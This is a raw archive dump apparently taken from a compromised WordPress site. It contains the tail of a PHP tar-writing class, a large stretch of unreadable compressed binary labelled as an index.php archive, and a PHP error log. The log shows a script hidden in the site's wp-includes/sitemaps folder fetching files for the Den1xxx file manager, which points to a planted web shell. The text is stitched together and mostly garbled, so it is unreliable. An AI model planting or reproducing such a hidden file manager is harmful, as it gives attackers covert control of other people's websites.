OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ova/index.php.php.tar.gz000064400000061425150561175430011162 0ustar00vH دsJULRE )(RJdD$@$XEgKu}C?C}7D(DpEYԽ C䯘/粰*.Ȩ<xQ[H$NT A㉄WA_TAC>HǒV#@P ѭsHBct+4THNNXAH,C /zI/#Od48Lm yV&8MiB׮x5-0R`PW-ur`RbЖR`i0&0wGߚ =hQ/.`t4(ZXC3v,)Nb.4ⅆ8E,U9k4ճpf,V@0( *6y/$݋d$Aڭϴ3LЂ6 Qf@]dMr,rhT1tfLfh}Xs2Z #ODE n/z0T -Fi A8_Cc7UcЋ*X\PxѫoG$Hc#q8AqzPBU#dqUU _eC2&hhItN/мy_Lfģ5EI <)_Q Jr OM^ڍn: $۩*kYBl %7 pvEhҠm. >R({h2DmDONAUQh,0z6TFt+A6z:^-lDuCFf$\,,4IF9A3<%rdU`O0< Z947*C}-ǿzUdnպ7MC8f˪@?IḄ;W?~(T)S=B*ԓ 6YqL:8\H"ky+Q&<14dG֣-a< Qd@|!uDlfB(iqE =(s2ٛː[v8w``_uU -k8 ?0* LJpiT_͞> P_5f"J29 fHIxtHM3Xvhd=yOң3,q{;+V/W m\Ax њ(01 0ʈU$@58eh-"gg (hhȊ`NR^fM:zO̤ygrhH1,N0.'E# N@BJ*25W<Ĉ5*в'7D':g03sB?% HCADFC! \(0'@TELj(7 i$`PU ]_>2~{+dNU#ȞG5?cp> }xiB鞯>cAۣ^OcZh= i͈!ؗ/g}Lޠ͍H9^8!YY2 wT}Er%M`4sHW#Nܲ61s͠A|g%"!‹)CQDk9(B*4i(1]=%P]je ha~Bg)zz 0 a+&tX5E z_EE6c<^k򊉆bs41j29o|qrGఊP!2@ݕ\{fIJU$q3'2#2KL&x3GBƋ%dx[(G! CN(ajโ Hat~@R6qbPvJ/Q)Gr6NEɔ*^@U2ɨO\4+F+gcafE@ Ɲpjr&gr]/uP5|2zZyh/`V6co* ߘW#B̅,އ~{:݁v%y%1UYc QkW9B[h~ܵۏ/\~fjNTN4Jߠ#foL0&F.hVp2ƐHI ސ-̵  !!L bE5(: f; @  P9 Q["֜E#e-oP)%o8 U hWpc5 XD^\5XYVOp7d6/fÂO Ӑǚ-i v?=3DG;C sRA 8{Bļ=)s`dL/zS+rB=s|xxR//rB=\  I8PE |_<׿GMq]A#pHc0AJ%̾0t@ z~8B`3XGЧ-ϰ|a^^C!~?#;q4m>Z@]1-l2P𘽱ޛ+ 38c}:GrT͆\AfA-5ݼ%}U UfP̃TX(^R3RoȦ1s)+KX Լ6xLlda߱Ng@ ؤ95d!'y_*$s@k|@:ZYoHc{$gK.vN < &ȟ Y噳9#XBP皛*AѩdIe̓qE񳣍 KzU'Ā 䥕eB\(177#!˶L 30ip?!elH7|H)0 Pz `rl cCT7@%lP ,gHt0fM  Xq˙q  @.r,ąp w䙬ewQ%4gTAWva  㘧eC)Rv1()ڜAl<:Ye ޔTXjzބRz{Oob{Z&ބ&B_Y *ee5eN扶x$\딉" mTG*,8dx; [OCkx ^^~o`=L~}qlhd&R7/G`'e|x]5ASox:Ieb+\.Xƫڡ@.0.vVǽ]*Ka*zGPxF^yEVt踎E&D ,_"2;">s'iM77xЯ+#_>6fC75pX>Ɓ:D,&@!Kdbb=5l{$ v rtO&M>Ǥӌv 0HP.[{ uu%Ձ- 0!z#(M;̤[w1}GtʜaQjb9Ҏt3<.0.tQG 1/8%)#zp|!2&GZ٠ML43 'tIYsGhzE \hP!axEbB&' o< f.< z$^bcz zPKA-)% n=c]c:gNzo4iOq "Rhx}7p0؛[G!Er̦"724@fB/G_<_hlnLhfwȦ͹iVo )!}.-^5սOAow<[Ȓ*#=s@ٞWQKŒ=D"ԛ3!9J/& GH|E! 'R^;LH&C`3 ܣVԌ"ltش/^7ZC4 "q$!NT6\YX3-"_~q$v5:`Qbih?0ɿ!'eGv]RМ{vO5\=Y<>JyLA4Ewʉ\O7r㖫_B9!HlG1"_H봐 HnyA L89 .}'\xcq4jV}x_TCuy<$/` /4&pFq\ ^;$|Tu_  IE$!9GL@E~pb^$E_3_d=(nwF ^C#mL3Jǩf䥠|=A"=5F $a7{r1 AF 2~7ϒ(IW^rm7ج?0 Nzb1Gj M;"I^("߬?r2"Sx.-濘xFVV֑>:Tf!.&,0KՖiI<1ErsBDqR~V9b@Zl3Z T;cSMoG7"SșCZiitsy|/Aǁ^rOPa-F*uf;y= w0H!T0pL/NRPo>_FzwNpʦq+MA4ls{޻_/w%N].RxIppZER'b}dI kݣ9Inƒ:~xg!l[PE+|A|񠱴T"p #-wcү&NŽй.YS!T=ASAvk*&h:okH-[cȵ=-@)*!5z=VnѝRCC,={v/ !0YjϹ}$ܒh.  xZ;ޙ6" [fE, -%R)iYs:+39=bw#dFMѓ")xmZ[,^g9rkKصbfJn- 髙i::Μg&v;I+e aXAkmD@eCq>X|b;K+pȶYA'TLf8D HQڢ"0A弄 ~D.PgF6&Ĥ:T 8;AZ 8]jR)AS3bCA"3،ay$(m \s:P%92+.5ڀ֛P4V2Oՙ:cL#y_H![N!hq.6(Nԧ PdGDOcH><"mml6}@bȦhx:\.e#Q֠Rt]* MM)̖& B8ݕz|ErfwxEqa瞒Xti <>;,zί+p&FdS$K&<r&<}iNBB(\u<%Z4]>v?+]EKɅ0D|?nɽ,ƆڳJuN0,Ad iJ8$F6 ?HmRTGRNEVBH?*閟2y]ITCZtN ɬ:l[L19q_sn,'rG&WeӬ.Q,2c^_gr7=>N 8qg4 ެ#0-1R 'p6P6D&g3z>GgHnG<> qƴZy_M[n_̓1?Xα]B:aYO Gحc:âBUt^Ѽ]!pқXs ukplºs}y7P]y;hܫbi f]?b3Sq&ҴC;=`^@^!cz8-]6/lr/ NjtagCj)Ec=} ZE'+8unY({{Z=6d"mKyp ۴sXuMkTC'rV|d>9nc"\1! rk2%ԯs\cTMl҈Euh wIE[75kjׯ|q x~^b@[/B%!B~r].pBX^Blʃ  :A L D|77T˼XdvGJV'{mY菀c{s 1yf `2,'1Ct5.#h7B;M X}@"Z)3À'BfeVXTzZ{ 5 0kph].ՄǞ`+ Ț3kraLwίW7/k.zKec 2.8Bc2 !V$7snn/!*=ݶc #~WX3;ʱ޼ymRIC2ޏIU|xð5e p 97eaV9Cn"Onx"]8/!0>ӱ(rp sh[Y\0~$,ɠHhlaS)MfTC0VDm z? uO9y:rr :vT&X:$uѕ4D^uͩg[\ G֝yJVz0miBoq̨fΞc BF< Nڏu sJ֠^gFԽ!B3S9VE=\\! AG -;cG &H  Kڛ8@E s2i 8_Ƚo$1+\fjhH  d_X- 9n}aDŽiN;k35 7ZtęuFo׹jڮO[7u>^^daT%ptY`֒2{s { m;e$aA:š /Tyur&7+m}3&h:~:Ż\էbdc?.;٩!0Q [s^M㡽iwo'>9"AHXs -u2Wy$ܠҫE4 -X6|S*L`75i=c+`7هG!شWpXa qv̞.e'|Φ?Giťq 9h`:.;Pe`,w ,6OG9G& #-m͆黗G7;d{@J-n1>RCE'dMn r2,aW n¡P<vQ$^ WW<"Fѐ )`$Fi&FL<# $ '5{BsG ǬTNYJ3X‡.keMa7/+o;gWn[+6ЖPEIAxq;-f'3= G ouC8qߧN;p—rf`gJZ)4B*4QXVOz..kpVibw,o+dVfXhBwЧYhwv3SkJk6j:;fU\W@ݾi4#)6SU~tsht0VPm!8P/؎/G\Wgg>Z`eH8 ~9殀xZ`I㑎dsBD:}/acQy )jQ'OnqXA* QXDcWZwؿwV4v=w\7K&tL`Nˢ&cƔKsPcGCRnerS+_kze,\~jbBh Lw\qǶlj1VZn5dC5gU!c첱^fC+g:B61U跄yTRڋTbFϔ2?hg9/%3@.D *?Nf*Ǯ(fu&ۜRx63}7/gh!_/dm&3~@MYd2$j\brR0jF>\jě oa:)칲iDz|1_jW ;NhsbnCP/FJJ&U:,KqSyc~$TjQduK=&܏ϳxmRy4ktٰQ8VMW>NkmjW:]|?)Uq%}VU]mzğrJ'.xavhRbҪ ;Rh_?NF+)̳Ѭr~];[ 3JrT2$ctX#Ja#y5fU]v]Ye+j6[bRnNv,͸4s\cms Q,ͮUk&WLXKO4γI>T\f^3EQx<=b9Jb,όf3tE\Fp\O›($ێWҪ0HҶӎvnђ,)U̕ԓrj [GaXFƏ%ou} |hk~mMD5U7庻\獘~h;ϙ\WCq϶BתwF+,?)`U6ziy3 OSAIlR,<jFKۛu(_KcNWq.עcՖ~x~.ܫw&RQی$]d ƮVy ΪOSwd߄cYTT4QNګP^P:u%IT[ U3.a99nij"?~gQQnXYlǶVĒKt@/ɴ'zG80HaMʆ;S4`w⸤׳=&Ԧ vk RbyX4݉TzZM/t4%\"`Mǽ9bն%V{0W^6΋Yx m»< p|5#YN(*#F{Mn!ɆnIW?q^\H n$ERB U:< Z CG"ܛz2D{կ 9Rcۡ|o/5im1x nh1}?XT#|o?FS}Xfn} r1"ćǝX6[j mѣЬͳPLVOmzZU^Xnt'ПƷۭiUxT.Tm%Kb4TclzFU6\'_ǝRi]M_ܩFpvZnvc9ʶmh<>φE11} eI|^ݤ+cXsvsemR9R +x=5/V򾔪=fv]֟ⓜU7ΎBqKc{~[~vX*vr|ޏli27OM Rct% 5Wl,J(ry]O*ZrmuQV2܊+E_nCSK%%M7*MXu(/#yNn\0Fjh.긛njVoZ挧HX 0 {eInjbo^Q'A1>c%z7J1~U}+V a {c ^ӳA5>UjFr죽>VTP1ܚuԈ$*?=Kfr'WPݱ]@+f]3g3 ȥq|m~XHm]k#MfTk6F\f]zHB)SƸ-kmݎhF3_R9͔ݪml;~џ2XJ**?dÜ؜4 |K9/3T)OQ*7Uv\B (ڥ4[5=>'bg>-NGfYKעZD 56Z\y(nQkřy5%#He]O2SGTT0b|+g:O&"ƨ۹+ sO sTf*Vy,=Z,9m L[r?dž":ӤeRz*f \x.+ZkO=j4OEW"q=ZQژ^=zͺminըM-aΌLF ɘVŧ4'U)Wֹ岪t== 2(ia"ϡAqqPJȱMh =D~.RhKJ>ʊfLzVI uɟҊRr"ެ#[' R=ky.w!"+a -[?l!Ba -[?l![H{. a65Sm7bI&<$rʤ† ]X YQJMi-mMqnHEи')I{bW%GyƮt2**o5ʡ F*Α؎T djZHb橅t(ySrmËryRFx(+uXB2Bx$#\V_]'޲q/el{n2N;&td8Х]4UHy¤7./线^۩R? S(7&O^8)s(1Yg.Li/݃.Tҹ|=tĆD\^El1ұqtFRv9R!kEr>)Of4U$6<)tZOFlq٨=o*rwU4Źx+iSVʽn>*VJF?xh=/cX_%)]a;*9/=tR9_ "侫깍ƽɸTce)O7{T^ZԦO@| M Q.#vSs1+VH=o|$,ljx1՝KwbxivE-ڭj R>=$-?y^(RU1C)i1]ˉl!ۚ`mP-ߘZY6])ԛYhOb^2hgwR[eIOdVW@|L"ò{).RliB{jƇCIz+,;bm:<  "Z_Vn<{vB<-Tr=;zh7ړHR%f즧-C]&E\=uU/Ncaέl>$唭g\) jpW! %(BJM5[5{Z wZZRKypfR2nѐ\id#~?+(H,C?ZΖXe4֨LeM^H(ڍSeZnYza<xc*2 sI}6`cof g4\/ w=N~N'ddUJ'7"þoΞ@@Y{pG/j}Uabyh@k]0?] ,cFs}M\Ֆj_=}K~F]$$#vЇ`਌oJu^$"x3N-Fx-T]hrG©hA"F띡+Hd f^<hcYKz`*;$a(j "&ɱ5+|5QFċ x࢟ewrXCP!@C7/9Jyq(Ě'\&? 0<=2+A V%, ?EE'xY 3pkH <`?qjTOt@+ɸl6Dz?=芳xvlC+鵠l2w4(;q3?~v?`gx ;;ƏbgG0QYw8wr}u pmojcA87/#A q#b oQĺ qEu? SJh;6QZ?a V/[A퐧[qń2嘌+~,@ iq? *H=%ǫ|g_c <~w"tDq~'f0xGsqr?a#H aBV5jqM j.RS$:r^HS^ K($܊#7}W豾c}pޙzDBhK7)Rķ'^uzxK=I;[H~ehÖ!I_ZP%P#&hG,K^l2E5a:wsqʛ o8X;=if 9*Yn8# 8D<J5U4h{+Ee 4>pAGC@O8)?܄s X̆~T[iF *oh8 VKq+ o:`q\rHSθY1Ѡ7N,Ԭu"h >G+TWڴ3)QϽ2^Se=VF/:We ! Cw8eV6[`D55ŃexNkoΗK:O¥WW?-La @ߣFCm~#/L!К'c}TJdsF}쾻;ɋO⯐k+0g{l-jO_Dt3#CU ;$]}[ZDŽ!-*M?$`I;?HCdbpXlGO 2Hm@ss<e}D S4}= 񑠡텏Z^š B"߼{jƴ`16RtOɜHW2('3"2G鰗*pr{&X 1q`{3Gm懗E0Z~ӱ&aF-^f#5Th_=saQ X9DEMƆ šގ% / ߜ3k#BtLv keѐd8}|bݹAj}܊ntH -AEon,O4A_!6!RP 8CM/^{{`Q ,R`ka`g*2y|E>fݝ$傄iyqr (\~8.8NH˶&N=ק#ϸ#J&uff٣$6U0x|{Iƅ1<$'P|p~]$4[0pڮ22:k֍wt( *(IYs3*-*BǐpZ)'"X4;"ZZ ,k㟻,h2_yUİ_ʃҧ{m٦_% hН9Lpլ=ëd7kбX\" -2o\Wk*pΗyA"{<ioG+IY+LJ:'l*uykuxKh@$Wdم=dlŲwJIW`T:1MV^|2 p8݁, ͪA/8azQn愾$)qnC7? q<_Ąyn?l>i>sހC8]ħ>׾O!8nX 6~vɐA {* :aZY5xp>%k;J?ç:{a.!1ouo~+?ښۦ F^-ZߙGO?%MҾxsUcG,]&E.RpE̖q~$( Ic^B J`nq_ ɄiBhd5c^?f=i>3C*_3ԯ4t͘_AA?Z ];-±av[&+R|H,",mGg)s|M> z9M/BN>H8{9y]9Zt/EkN[0O["8u`4Ykks'H 39UOPM!:ܐ"i$4<HTxL$NOz=` ML(%@der h~z ]U؍wU5])+[X=tdEҽ O3цl{X9\s4|7Nr+vY2Yvsn}:h>ȻvÂ! !zǕpT X X 5]]=0%+ ; Uk0OOı򨧷Ysy{mء(}if ha縊FT1Ӂc;fۏ0ϭ ! ofv`emRh w|li:C3/R#mQ&(50!U"NT|CsdG3O&s|2l d}) Qбb&dTaMzvXv !Cuۘsea C/v}4\tV k?~R^{2F[+cV(=F.ZyeDz"S!@(5|xX'&bPobPa?"i}Uf+h]QFV&DQOhĮUA7THs?"Ge~t._99O bs#:;CR86c `\-!KaDO XɴWG.1^fY-oX`CAn>e`0CD"\{HAW/y(nQO~7MHopKyǖ=,0u7HX0 c;wxT?]jl5xY~hiL* ܷ=]/yJ6WmͶd;ṃ\;O$Ԑl]W{ ~u Ui._֣4.tE$Za\cTq>XAzs$BbٱOApټ 7 ߖp>%Yo=s3m^S0`\`2wBT,*9w~ Dr &h.r|(zA D^2jĢ'I:d`ۻC1 mLHJnP]1+E!ߞ 0Ha3d qI h5n4<[d*]AOcY "TQIi]|PQ"(K=({P}*qb|_>ꏍf>=` DΤ,f #X>z'Gf % w럑\3j8PxL?T `'v?9˽s54Ty3c`\e6sI֮sʕ6_BK$\):sNklQ@+ :u̶l$Q5 pYSO G3X ΀78>z;bZLC׍$̠XkQGF;vԽIhPߠ{h[ ʠYz Eɓw퇪M,l@BCnh{q >ۯb \:;өKoqcfԕr" #ZO$>(~B:qodfxMF2|>[5ÿK cN\3en%9]Q53F#tmk"9yaSyZsNj u>t2Ppv!X!B}b)1ix@&^zz8Z6n]FijU|QFl=ŽkY ZҸ=} 9-nSD_"ua"1@$1@ɵz9V$JBkFqK!'07=Z:$SXs;w=>w(;MAkӵ􎬋7*8Jd׸bp Z J7 p1:tŮܖQ#1w}i5=e!-@+E}}QUõ3@wI$MPXj$#mi|!~uvDJPq\ xWv޷S|?Pi%j֔dHs=P)k./JT10{āK &ay}wm뱽Oy^5㽘p2Gvj3fkV !p^5yo@_M[nްB&&Ne a]gſB>P:9:q^zC?wښQ2ǫ=S/m1`Dz2]#!lZWF1N͒ԛWU\ggNY yPV3K8룣Lmkfd/Vոuóu/M;pl~8Uy~}6=q*;BW$2':Tc_9:Pԣ!Eբ_}J2~l/D|aֱ9!®ˠhwB ݀YӨjoeV|!b`YVQKESqdT3.[z שsNm۪lQg} $P[p]Qn̜ fk&GG,5lㆷ׉}J-k軱-GU6nؤ8 =)P'G2-:G8M0<(4cnXVqtD"=, A>HP Mbxǁ¡IlK~AEXU~ G e$Sb\b΍!E#F J42jM>bCk00>Ы쟳#1 wMB@9sD=UÉ$63+IƂ`d K=f[|p3س}Q\ )td"̳7U3Vt~]lEӕW;V4w6'AN"`X\ d4ί|\"Eqx3:y%8Nbp\6('x[v1L:eg1 E$!KLJAJW`-TQG^ϟa QCcw cƢƪ^[6i@WNǪ,09N 3ñYB 5m3[EIlHq-8ut$G9:wxN)9}~En'_yg9Mױgd}-ni>NQ =r@zqqa9j>Z#VjUgo>xh`+i].J7kMqJwpL38&w}}owSBnaؗa| 2zj"b_E#4Kskt؉U> ova/error_log000064400000140000150561175430007250 0ustar00[29-Aug-2025 23:50:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [29-Aug-2025 23:50:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [29-Aug-2025 23:50:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [29-Aug-2025 23:50:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 03:52:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 03:52:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:33:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:33:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:36:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:36:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:36:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:36:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:36:35 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:36:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:37:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:37:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:39:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:40:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:40:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:40:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:42:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 04:42:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 09:05:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 09:05:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 09:28:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 09:29:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 218 [30-Aug-2025 12:19:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 219 [30-Aug-2025 12:19:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started [30-Aug-2025 12:19:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in 